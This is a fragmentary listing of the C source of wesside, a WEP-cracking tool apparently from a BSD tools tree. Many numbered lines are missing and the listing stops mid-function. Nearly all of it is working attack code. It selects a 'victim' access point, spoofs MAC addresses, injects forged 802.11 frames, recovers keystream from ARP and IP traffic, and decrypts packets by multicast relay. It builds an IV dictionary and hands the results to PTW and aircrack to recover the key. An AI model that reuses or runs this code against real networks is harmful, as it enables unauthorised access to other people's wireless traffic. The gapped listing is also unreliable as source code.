2 * wep owner by sorbo <sorbox@yahoo.com>
5 * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6 * overflows. this whole thing is experimental n e way.
8 * $FreeBSD: src/tools/tools/net80211/wesside/wesside/wesside.c,v 1.4 2009/07/24 15:31:22 sam Exp $
11 #include <sys/types.h>
12 #include <sys/socket.h>
13 #include <sys/ioctl.h>
14 #include <sys/endian.h>
19 #include <net/if_media.h>
20 #include <net/if_llc.h>
21 #include <net/if_arp.h>
22 #include <net/if_types.h>
23 #include <net/if_dl.h>
25 #include <net/tap/if_tap.h>
26 #include <net/ethernet.h>
27 #include <netproto/802_11/ieee80211.h>
28 #include <netproto/802_11/ieee80211_ioctl.h>
29 #include <netproto/802_11/ieee80211_radiotap.h>
30 #include <netproto/802_11/ieee80211_dragonfly.h>
31 #include <netinet/in.h>
32 #include <netinet/in_systm.h>
33 #include <netinet/ip.h>
34 #include <netinet/udp.h>
35 #include <arpa/inet.h>
49 #include "aircrack-ptw-lib.h"
52 #define FOUND_VICTIM 1
53 #define SENDING_AUTH 2
56 #define SENDING_ASSOC 5
61 struct timeval arpsend;
64 struct in_addr ippseudo_src; /* source internet address */
65 struct in_addr ippseudo_dst; /* destination internet address */
66 u_char ippseudo_pad; /* pad, must be zero */
67 u_char ippseudo_p; /* protocol */
68 u_short ippseudo_len; /* protocol length */
79 struct ieee80211req ireq;
90 struct ieee80211_frame wh;
104 struct decrypt_state {
105 unsigned char* cipher;
107 struct prga_info prgainfo;
108 struct frag_state fragstate;
112 unsigned int packets;
118 #define LINKTYPE_IEEE802_11 105
119 #define TCPDUMP_MAGIC 0xA1B2C3D4
121 unsigned char* floodip = NULL;
122 unsigned short floodport = 6969;
123 unsigned short floodsport = 53;
125 unsigned char* netip = NULL;
129 unsigned char* rtrmac = NULL;
131 unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
132 unsigned char myip[16] = "192.168.0.123";
137 PTW_attackstate *ptw;
139 unsigned char *victim_mac = NULL;
141 int ack_timeout = 100*1000;
143 #define ARPLEN (8+ 8 + 20)
144 unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
145 unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
146 #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
147 #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
148 #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
150 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
152 #define WEP_FILE "wep.cap"
153 #define KEY_FILE "key.log"
154 #define PRGA_FILE "prga.log"
156 unsigned int min_prga = 128;
159 * When starting aircrack we try first to use a
160 * local copy, falling back to where the installed
161 * version is expected.
162 * XXX builtin pathnames
164 #define CRACK_LOCAL_CMD "../aircrack/aircrack"
165 #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
168 int thresh_incr = INCR;
170 #define MAGIC_TTL_PAD 69
173 int wep_thresh = INCR;
175 struct timeval crack_start;
176 struct timeval real_start;
178 /* linksys does this. The hardware pads small packets. */
179 #define PADDED_ARPLEN 54
181 #define PRGA_LEN (1500-14-20-8)
182 unsigned char inet_clear[8+20+8+PRGA_LEN+4];
184 #define DICT_PATH "dict"
185 #define TAP_DEV "/dev/tap"
186 unsigned char tapifname[IFNAMSIZ];
187 unsigned char taptx[4096];
188 unsigned int taptx_len = 0;
193 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
196 register u_short answer;
208 *((u_char *) & oddbyte) = *(u_char *) ptr;
212 sum = (sum >> 16) + (sum & 0xffff);
220 unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
221 struct in_addr *dip) {
225 tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
229 ph = (struct ippseudo*) tmp;
231 memcpy(&ph->ippseudo_src, sip, 4);
232 memcpy(&ph->ippseudo_dst, dip, 4);
233 ph->ippseudo_pad = 0;
234 ph->ippseudo_p = IPPROTO_UDP;
235 ph->ippseudo_len = htons(len);
237 memcpy(tmp + sizeof(struct ippseudo), stuff, len);
239 return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
242 void time_print(char* fmt, ...) {
249 vsnprintf(lame, sizeof(lame), fmt, ap);
254 if (tt == (time_t)-1) {
261 perror("localtime()");
265 printf("[%.2d:%.2d:%.2d] %s",
266 t->tm_hour, t->tm_min, t->tm_sec, lame);
275 fd = open(KEY_FILE, O_RDONLY);
281 rd = read(fd, buf, sizeof(buf) -1);
292 time_print("KEY=(%s)\n", buf);
294 if (gettimeofday(&now, NULL) == -1) {
295 perror("gettimeofday()");
299 printf ("Owned in %.02f minutes\n",
300 ((double) now.tv_sec - real_start.tv_sec)/60.0);
309 time_print("Stopping crack PID=%d\n", crack_pid);
311 // XXX doesn't return -1 for some reason! [maybe on my box... so it
312 // might be buggy on other boxes...]
313 if (kill(crack_pid, SIGINT) == -1) {
323 void cleanup(int x) {
324 time_print("\nDying...\n");
334 void set_chan(int c) {
335 if (c == chaninfo.chan)
338 chaninfo.ireq.i_val = c;
340 if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
341 perror("ioctl(SIOCS80211) [chan]");
347 void set_if_mac(unsigned char* mac, unsigned char *name) {
351 s = socket(PF_INET, SOCK_DGRAM, 0);
357 memset(&ifr, 0, sizeof(ifr));
358 strcpy(ifr.ifr_name, name);
360 ifr.ifr_addr.sa_family = AF_LINK;
361 ifr.ifr_addr.sa_len = 6;
362 memcpy(ifr.ifr_addr.sa_data, mac, 6);
364 if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
365 perror("ioctl(SIOCSIFLLADDR)");
372 void setup_if(char *dev) {
376 struct ifmediareq ifmr;
379 if(strlen(dev) >= IFNAMSIZ) {
380 time_print("Interface name too long...\n");
384 time_print("Setting up %s... ", dev);
387 set_if_mac(mymac, dev);
389 s = socket(PF_INET, SOCK_DGRAM, 0);
396 memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
397 strcpy(chaninfo.ireq.i_name, dev);
398 chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
404 // set iface up and promisc
405 memset(&ifr, 0, sizeof(ifr));
406 strcpy(ifr.ifr_name, dev);
407 if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
408 perror("ioctl(SIOCGIFFLAGS)");
412 flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
413 flags |= IFF_UP | IFF_PPROMISC;
415 memset(&ifr, 0, sizeof(ifr));
416 strcpy(ifr.ifr_name, dev);
417 ifr.ifr_flags = flags & 0xffff;
418 ifr.ifr_flagshigh = flags >> 16;
419 if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
420 perror("ioctl(SIOCSIFFLAGS)");
427 int open_bpf(char *dev, int dlt) {
433 for(i = 0;i < 16; i++) {
434 sprintf(buf, "/dev/bpf%d", i);
436 fd = open(buf, O_RDWR);
439 perror("can't open /dev/bpf");
449 perror("can't open /dev/bpf");
453 strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
454 ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
456 if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
457 perror("ioctl(BIOCSETIF)");
461 if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
462 perror("ioctl(BIOCSDLT)");
467 if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
468 perror("ioctl(BIOCIMMEDIATE)");
475 void hexdump(unsigned char *ptr, int len) {
477 printf("%.2X ", *ptr);
483 char* mac2str(unsigned char* mac) {
484 static char ret[6*3];
486 sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
487 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
492 void inject(int fd, void *buf, int len)
494 static struct ieee80211_bpf_params params = {
495 .ibp_vers = IEEE80211_BPF_VERSION,
496 /* NB: no need to pass series 2-4 rate+try */
497 .ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
498 .ibp_rate0 = 2, /* 1 MB/s XXX */
499 .ibp_try0 = 1, /* no retransmits */
500 .ibp_flags = IEEE80211_BPF_NOACK,
501 .ibp_power = 100, /* nominal max */
502 .ibp_pri = WME_AC_VO, /* high priority */
507 iov[0].iov_base = ¶ms;
508 iov[0].iov_len = params.ibp_len;
509 iov[1].iov_base = buf;
510 iov[1].iov_len = len;
511 rc = writev(fd, iov, 2);
516 if (rc != (len + iov[0].iov_len)) {
517 time_print("Error Wrote %d out of %d\n", rc,
523 void send_frame(int tx, unsigned char* buf, int len) {
524 static unsigned char* lame = NULL;
525 static int lamelen = 0;
526 static int lastlen = 0;
532 if (txstate.retries > 10) {
533 time_print("ERROR Max retransmists for (%d bytes):\n",
535 hexdump(&lame[0], lastlen);
539 // printf("Warning doing a retransmit...\n");
543 assert(!txstate.waiting_ack);
549 lame = (unsigned char*) malloc(len);
558 memcpy(lame, buf, len);
563 inject(tx, lame, len);
565 txstate.waiting_ack = 1;
567 if (gettimeofday(&txstate.tsent, NULL) == -1) {
568 perror("gettimeofday()");
573 printf("Wrote frame at %lu.%lu\n",
574 txstate.tsent.tv_sec, txstate.tsent.tv_usec);
578 unsigned short fnseq(unsigned short fn, unsigned short seq) {
579 unsigned short r = 0;
582 time_print("too many fragments (%d)\n", fn);
588 r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
593 void fill_basic(struct ieee80211_frame* wh) {
596 memcpy(wh->i_addr1, victim.bss, 6);
597 memcpy(wh->i_addr2, mymac, 6);
598 memcpy(wh->i_addr3, victim.bss, 6);
602 sp = (unsigned short*) wh->i_seq;
603 *sp = fnseq(0, txstate.psent);
605 sp = (unsigned short*) wh->i_dur;
606 *sp = htole16(32767);
609 void send_assoc(int tx) {
610 unsigned char buf[128];
611 struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
615 memset(buf, 0, sizeof(buf));
617 wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
619 body = (unsigned char*) wh + sizeof(*wh);
620 *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
626 ssidlen = strlen(victim.ssid);
628 memcpy(body, victim.ssid, ssidlen);
639 send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
640 strlen(victim.ssid) + 2 + 4);
643 void wepify(unsigned char* body, int dlen) {
648 assert(dlen + 4 <= prgainfo.len);
651 memcpy(body, prgainfo.iv, 3);
656 crc = crc32(0L, Z_NULL, 0);
657 crc = crc32(crc, body, dlen);
658 pcrc = (unsigned long*) (body+dlen);
661 for (i = 0; i < dlen +4; i++)
662 *body++ ^= prgainfo.prga[i];
665 void send_auth(int tx) {
666 unsigned char buf[128];
667 struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
670 memset(buf, 0, sizeof(buf));
672 wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
674 n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
678 send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
681 int get_victim_ssid(struct ieee80211_frame* wh, int len) {
684 int gots = 0, gotc = 0;
686 if (len <= sizeof(*wh)) {
687 time_print("Warning: short packet in get_victim_ssid()\n");
691 ptr = (unsigned char*)wh + sizeof(*wh);
695 if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
699 // we want a specific victim
701 if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
708 time_print("Warning short.asdfasdf\n");
726 time_print("Warning short....\n");
735 victim.ssid = (char*) malloc(elen + 1);
741 memcpy(victim.ssid, ptr, elen);
742 victim.ssid[elen] = 0;
749 time_print("Warning len of chan not 1\n");
762 memcpy(victim.bss, wh->i_addr3, 6);
763 set_chan(victim.chan);
764 state = FOUND_VICTIM;
765 time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
766 victim.ssid, mac2str(victim.bss), victim.chan);
772 void send_ack(int tx) {
776 void do_llc(unsigned char* buf, unsigned short type) {
777 struct llc* h = (struct llc*) buf;
779 memset(h, 0, sizeof(*h));
780 h->llc_dsap = LLC_SNAP_LSAP;
781 h->llc_ssap = LLC_SNAP_LSAP;
782 h->llc_un.type_snap.control = 3;
783 h->llc_un.type_snap.ether_type = htons(type);
786 void calculate_inet_clear() {
793 memset(inet_clear, 0, sizeof(inet_clear));
795 do_llc(inet_clear, ETHERTYPE_IP);
797 ih = (struct ip*) &inet_clear[8];
801 ih->ip_len = htons(20+8+PRGA_LEN);
802 ih->ip_id = htons(666);
804 ih->ip_ttl = ttl_val;
805 ih->ip_p = IPPROTO_UDP;
807 inet_aton(floodip, &ih->ip_src);
808 inet_aton(myip, &ih->ip_dst);
809 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
811 uh = (struct udphdr*) ((char*)ih + 20);
812 uh->uh_sport = htons(floodport);
813 uh->uh_dport = htons(floodsport);
814 uh->uh_ulen = htons(8+PRGA_LEN);
816 uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
817 &ih->ip_src, &ih->ip_dst);
820 dlen = 8 + 20 + 8 + PRGA_LEN;
821 assert (dlen + 4 <= sizeof(inet_clear));
823 crc = crc32(0L, Z_NULL, 0);
824 crc = crc32(crc, inet_clear, dlen);
825 pcrc = (unsigned long*) (inet_clear+dlen);
829 printf("INET %d\n", sizeof(inet_clear));
830 hexdump(inet_clear, sizeof(inet_clear));
834 void set_prga(unsigned char* iv, unsigned char* cipher,
835 unsigned char* clear, int len) {
840 if (prgainfo.len != 0)
843 prgainfo.prga = (unsigned char*) malloc(len);
844 if (!prgainfo.prga) {
850 memcpy(prgainfo.iv, iv, 3);
852 for (i = 0; i < len; i++) {
853 prgainfo.prga[i] = ( cipher ? (clear[i] ^ cipher[i]) :
857 time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
858 prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
859 hexdump(prgainfo.prga, prgainfo.len);
864 fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
865 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
872 i = write(fd, prgainfo.iv, 3);
878 printf("Wrote %d out of %d\n", i, 3);
882 i = write(fd, prgainfo.prga, prgainfo.len);
887 if (i != prgainfo.len) {
888 printf("Wrote %d out of %d\n", i, prgainfo.len);
896 void log_dictionary(unsigned char* body, int len) {
900 unsigned char path[128];
901 unsigned char file_clear[sizeof(inet_clear)];
904 len -= 4; // IV etc..
905 assert (len == sizeof(inet_clear));
909 if (len > prgainfo.len)
910 set_prga(body, data, inet_clear, len);
913 for (i = 0; i < 3; i++)
914 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
917 strcpy(path, DICT_PATH);
921 for (i = 0; i < 2; i++) {
923 strcat(path, paths[i]);
924 fd = open(path, O_RDONLY);
926 if (errno != ENOENT) {
931 if (mkdir(path, 0755) == -1) {
942 strcat(path, paths[2]);
944 fd = open(path, O_RDWR);
945 // already exists... see if we are consistent...
947 rd = read(fd, file_clear, sizeof(file_clear));
954 // check consistency....
955 for (i = 0; i < rd; i++) {
957 (data[i] ^ inet_clear[i])) {
959 printf("Mismatch in byte %d for:\n", i);
960 hexdump(body, len+4);
966 if (i >= sizeof(inet_clear)) {
968 time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
969 body[0], body[1], body[2]);
975 // file has less... fd still open
978 fd = open(path, O_WRONLY | O_CREAT, 0644);
980 printf("Can't open (%s): %s\n", path,
986 assert (sizeof(file_clear) >= sizeof(inet_clear));
988 for(i = 0; i < len; i++)
989 file_clear[i] = data[i] ^ inet_clear[i];
991 rd = write(fd, file_clear, len);
997 printf("Wrote %d of %d\n", rd, len);
1003 void stuff_for_us(struct ieee80211_frame* wh, int len) {
1005 unsigned char* body;
1007 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1008 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1010 body = (unsigned char*) wh + sizeof(*wh);
1013 if (type == IEEE80211_FC0_TYPE_CTL) {
1014 if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1015 txstate.waiting_ack = 0;
1019 if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1023 if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1026 time_print ("got CTL=%x\n", stype);
1031 if (type == IEEE80211_FC0_TYPE_MGT) {
1032 if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1033 unsigned short* rc = (unsigned short*) body;
1035 time_print("Got deauth=%u\n", le16toh(*rc));
1036 state = FOUND_VICTIM;
1040 else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1041 unsigned short* sc = (unsigned short*) body;
1044 time_print("Warning got auth algo=%x\n", *sc);
1051 time_print("Warning got auth seq=%x\n", *sc);
1058 time_print("Auth rejected... trying to spoof mac.\n");
1062 else if (*sc == 0) {
1063 time_print("Authenticated\n");
1068 time_print("Got auth %x\n", *sc);
1072 else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1073 unsigned short* sc = (unsigned short*) body;
1078 unsigned int aid = le16toh(*sc) & 0x3FFF;
1079 time_print("Associated (ID=%x)\n", aid);
1082 } else if (*sc == 12) {
1083 time_print("Assoc rejected..."
1084 " trying to spoof mac.\n");
1088 time_print("got assoc %x\n", *sc);
1091 } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1095 time_print("\nGOT MAN=%x\n", stype);
1099 if (type == IEEE80211_FC0_TYPE_DATA &&
1100 stype == IEEE80211_FC0_SUBTYPE_DATA) {
1102 dlen = len - sizeof(*wh) - 4 -4;
1104 if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1105 time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1106 mac2str(wh->i_addr2), dlen, stype);
1110 assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1112 if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1113 rtrmac = (unsigned char *) malloc(6);
1119 assert( rtrmac > (unsigned char*) 1);
1121 memcpy (rtrmac, wh->i_addr3, 6);
1122 time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1127 // check if its a TTL update from dictionary stuff
1128 if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1129 dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1130 int ttl_delta, new_ttl;
1132 ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1133 new_ttl = 128 - ttl_delta;
1135 if (ttl_val && new_ttl != ttl_val) {
1136 time_print("oops. ttl changed from %d to %d\n",
1144 time_print("Got TTL of %d\n", ttl_val);
1145 calculate_inet_clear();
1149 // check if its dictionary data
1150 if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1151 log_dictionary(body, len - sizeof(*wh));
1157 printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1158 type, stype, mac2str(wh->i_addr2), len);
1162 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1163 unsigned char* body;
1165 unsigned char clear[36];
1170 body = (unsigned char*) wh+sizeof(*wh);
1173 // calculate clear-text
1174 memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1175 ptr += sizeof(arp_clear) -1;
1177 h = (struct arphdr*)ptr;
1178 h->ar_hrd = htons(ARPHRD_ETHER);
1179 h->ar_pro = htons(ETHERTYPE_IP);
1182 h->ar_op = htons(ARPOP_REQUEST);
1185 memcpy(ptr, wh->i_addr3, 6);
1187 bodylen = rd - sizeof(*wh) - 4 - 4;
1188 decryptstate.clen = bodylen;
1189 decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1190 if (!decryptstate.cipher) {
1194 decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1195 if (!decryptstate.prgainfo.prga) {
1201 memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1202 memcpy(decryptstate.prgainfo.iv, body, 3);
1204 memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1205 for(i = 0; i < (8+8+6); i++) {
1206 decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1210 decryptstate.prgainfo.len = i;
1211 time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1214 void log_wep(struct ieee80211_frame* wh, int len) {
1216 struct pcap_pkthdr pkh;
1218 unsigned char *body = (unsigned char*) (wh+1);
1220 memset(&pkh, 0, sizeof(pkh));
1221 pkh.caplen = pkh.len = len;
1222 if (gettimeofday(&tv, NULL) == -1)
1223 err(1, "gettimeofday()");
1225 if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1228 rd = write(weplog.fd, wh, len);
1235 time_print("short write %d out of %d\n", rd, len);
1240 if (fsync(weplog.fd) == -1) {
1246 memcpy(weplog.iv, body, 3);
1250 void try_dictionary(struct ieee80211_frame* wh, int len) {
1251 unsigned char *body;
1256 unsigned char packet[4096];
1258 struct ether_header* eh;
1260 unsigned long *pcrc;
1261 unsigned char* dmac, *smac;
1263 assert (len < sizeof(packet) + sizeof(*eh));
1265 body = (unsigned char*) wh + sizeof(*wh);
1267 for (i = 0; i < 3; i++)
1268 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1270 sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1272 fd = open(path, O_RDONLY);
1276 rd = read(fd, &packet[6], sizeof(packet)-6);
1284 dlen = len - sizeof(*wh) - 4;
1287 time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1293 for (i = 0; i < dlen; i++)
1294 packet[6+i] ^= body[i];
1297 crc = crc32(0L, Z_NULL, 0);
1298 crc = crc32(crc, &packet[6], dlen);
1299 pcrc = (unsigned long*) (&packet[6+dlen]);
1303 time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1308 // fill ethernet header
1309 eh = (struct ether_header*) packet;
1310 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1315 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1320 memcpy(eh->ether_dhost, dmac, 6);
1321 memcpy(eh->ether_shost, smac, 6);
1322 // ether type should be there from llc
1325 dlen += sizeof(*eh);
1329 time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1330 hexdump(packet, dlen);
1333 rd = write(tapfd, packet, dlen);
1339 printf("Wrote %d / %d\n", rd, dlen);
1344 int is_arp(struct ieee80211_frame *wh, int len)
1346 int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1348 if (len == arpsize || len == 54)
1354 void *get_sa(struct ieee80211_frame *wh)
1356 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1362 void *get_da(struct ieee80211_frame *wh)
1364 if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1370 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1372 unsigned char *ptr = clear;
1375 if (!is_arp(wh, len)) {
1376 unsigned short iplen = htons(len - 8);
1378 // printf("Assuming IP %d\n", len);
1380 len = sizeof(S_LLC_SNAP_IP) - 1;
1381 memcpy(ptr, S_LLC_SNAP_IP, len);
1385 memcpy(ptr, "\x45\x00", len);
1388 memcpy(ptr, &iplen, len);
1391 len = ptr - ((unsigned char*)clear);
1394 // printf("Assuming ARP %d\n", len);
1397 len = sizeof(S_LLC_SNAP_ARP) - 1;
1398 memcpy(ptr, S_LLC_SNAP_ARP, len);
1403 memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1408 if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1409 memcpy(ptr, "\x00\x01", len);
1411 memcpy(ptr, "\x00\x02", len);
1416 memcpy(ptr, get_sa(wh), len);
1419 len = ptr - ((unsigned char*)clear);
1423 void add_keystream(struct ieee80211_frame* wh, int rd)
1425 unsigned char clear[1024];
1426 int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1428 unsigned char *body = (unsigned char*) (wh+1);
1431 clearsize = known_clear(clear, wh, dlen);
1435 for (i = 0; i < 16; i++)
1436 clear[i] ^= body[4+i];
1438 PTW_addsession(ptw, body, clear);
1441 void got_wep(struct ieee80211_frame* wh, int rd) {
1444 unsigned char clear[1024];
1446 unsigned char *body;
1448 bodylen = rd - sizeof(struct ieee80211_frame);
1450 dlen = bodylen - 4 - 4;
1451 body = (unsigned char*) wh + sizeof(*wh);
1454 // log it if its stuff not from us...
1455 if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1456 ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1457 memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1460 time_print("Key index=%x!!\n", body[3]);
1464 add_keystream(wh, rd);
1466 // try to decrypt too
1467 try_dictionary(wh, rd);
1470 // look for arp-request packets... so we can decrypt em
1471 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1472 (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1473 (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1474 (dlen == 36 || dlen == PADDED_ARPLEN) &&
1475 !decryptstate.cipher &&
1477 decrypt_arpreq(wh, rd);
1480 // we have prga... check if its our stuff being relayed...
1481 if (prgainfo.len != 0) {
1483 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1484 (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1485 (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1486 dlen == fragstate.len) {
1488 // printf("I fink AP relayed it...\n");
1489 set_prga(body, &body[4], fragstate.data, dlen);
1490 free(fragstate.data);
1491 fragstate.data = NULL;
1492 fragstate.waiting_relay = 0;
1495 // see if we get the multicast stuff of when decrypting
1496 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1497 (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1498 (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1501 unsigned char pr = wh->i_addr1[5];
1504 time_print("Got clear-text byte: %d\n",
1505 decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1507 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1508 decryptstate.prgainfo.len++;
1509 decryptstate.fragstate.waiting_relay = 1;
1511 // ok we got the ip...
1512 if (decryptstate.prgainfo.len == 26+1) {
1513 unsigned char ip[4];
1515 struct in_addr *in = (struct in_addr*) ip;
1518 for (i = 0; i < 4; i++)
1519 ip[i] = decryptstate.cipher[8+8+6+i] ^
1520 decryptstate.prgainfo.prga[8+8+6+i];
1523 netip = (unsigned char*) malloc(16);
1529 memset(netip, 0, 16);
1530 strcpy(netip, inet_ntoa(*in));
1532 time_print("Got IP=(%s)\n", netip);
1533 strcpy(myip, netip);
1535 ptr = strchr(myip, '.');
1537 ptr = strchr(ptr+1, '.');
1539 ptr = strchr(ptr+1, '.');
1541 strcpy(ptr+1,"123");
1543 time_print("My IP=(%s)\n", myip);
1546 free(decryptstate.prgainfo.prga);
1547 free(decryptstate.cipher);
1548 memset(&decryptstate, 0, sizeof(decryptstate));
1554 clearsize = known_clear(clear, wh, dlen);
1555 time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1557 set_prga(body, &body[4], clear, clearsize);
1560 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1563 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1564 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1566 if (type == IEEE80211_FC0_TYPE_DATA &&
1567 stype == IEEE80211_FC0_SUBTYPE_DATA) {
1568 int dlen = rd - sizeof(struct ieee80211_frame);
1570 if (state == SPOOF_MAC) {
1571 unsigned char mac[6];
1572 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1573 memcpy(mac, wh->i_addr3, 6);
1574 } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1575 memcpy(mac, wh->i_addr1, 6);
1578 if (mac[0] == 0xff || mac[0] == 0x1)
1581 memcpy(mymac, mac, 6);
1582 time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1583 state = FOUND_VICTIM;
1588 if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1594 void anal(unsigned char* buf, int rd, int tx) { // yze
1595 struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1597 static int lastseq = -1;
1599 unsigned short *seqptr;
1603 time_print("rd=%d\n", rd);
1607 type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1608 stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1611 if (state >= FOUND_VICTIM) {
1613 if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1615 if (type != IEEE80211_FC0_TYPE_CTL)
1620 // XXX i know it aint great...
1621 seqptr = (unsigned short*) wh->i_seq;
1622 seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1623 if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1624 type != IEEE80211_FC0_TYPE_CTL) {
1625 // printf("Ignoring dup packet... seq=%d\n", seq);
1631 if (type == IEEE80211_FC0_TYPE_MGT) {
1632 if(state == FIND_VICTIM) {
1633 if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
